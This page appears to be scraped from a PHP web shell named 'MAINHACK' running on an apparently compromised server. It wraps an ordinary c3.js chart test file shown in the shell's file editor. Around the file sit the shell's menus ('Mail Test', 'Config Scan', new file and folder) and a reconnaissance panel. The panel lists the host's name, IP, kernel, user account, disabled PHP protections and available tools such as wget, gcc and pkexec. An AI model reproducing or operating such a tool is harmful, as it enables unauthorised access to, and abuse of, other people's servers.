[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.load-spec.js
describe('c3 api load', function () { 'use strict'; var chart, args; beforeEach(function (done) { chart = window.initChart(chart, args, done); }); describe('indexed data', function () { describe('as column', function () { beforeAll(function () { args = { data: { columns: [ ['data1', 30, 200, 100, 400, 150, 250], ['data2', 5000, 2000, 1000, 4000, 1500, 2500] ] } }; }); it('should load additional data', function (done) { var main = chart.internal.main, legend = chart.internal.legend; chart.load({ columns: [ ['data3', 800, 500, 900, 500, 1000, 700] ] }); setTimeout(function () { var target = main.select('.c3-chart-line.c3-target.c3-target-data3'), legendItem = legend.select('.c3-legend-item.c3-legend-item-data3'); expect(target.size()).toBe(1); expect(legendItem.size()).toBe(1); done(); }, 500); }); }); }); describe('category data', function () { beforeAll(function () { args = { data: { x: 'x', columns: [ ['x', 'cat1', 'cat2', 'cat3', 'cat4', 'cat5', 'cat6'], ['data1', 30, 200, 100, 400, 150, 250], ['data2', 5000, 2000, 1000, 4000, 1500, 2500] ] }, axis: { x: { type: 'category' } } }; }); describe('as column', function () { it('should load additional data', function (done) { var main = chart.internal.main, legend = chart.internal.legend; chart.load({ columns: [ ['data3', 800, 500, 900, 500, 1000, 700] ] }); setTimeout(function () { var target = main.select('.c3-chart-line.c3-target.c3-target-data3'), legendItem = legend.select('.c3-legend-item.c3-legend-item-data3'), tickTexts = main.selectAll('.c3-axis-x g.tick text'), expected = ['cat1', 'cat2', 'cat3', 'cat4', 'cat5', 'cat6']; expect(target.size()).toBe(1); expect(legendItem.size()).toBe(1); tickTexts.each(function (d, i) { var text = d3.select(this).select('tspan').text(); expect(text).toBe(expected[i]); }); done(); }, 500); }); it('should load additional data', function (done) { var main = chart.internal.main, legend = chart.internal.legend; chart.load({ columns: [ ['x', 'new1', 'new2', 'new3', 'new4', 'new5', 'new6'], ['data3', 800, 500, 900, 500, 1000, 700] ] }); setTimeout(function () { var target = main.select('.c3-chart-line.c3-target.c3-target-data3'), legendItem = legend.select('.c3-legend-item.c3-legend-item-data3'), tickTexts = main.selectAll('.c3-axis-x g.tick text'), expected = ['new1', 'new2', 'new3', 'new4', 'new5', 'new6']; expect(target.size()).toBe(1); expect(legendItem.size()).toBe(1); tickTexts.each(function (d, i) { var text = d3.select(this).select('tspan').text(); expect(text).toBe(expected[i]); }); done(); }, 500); }); }); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002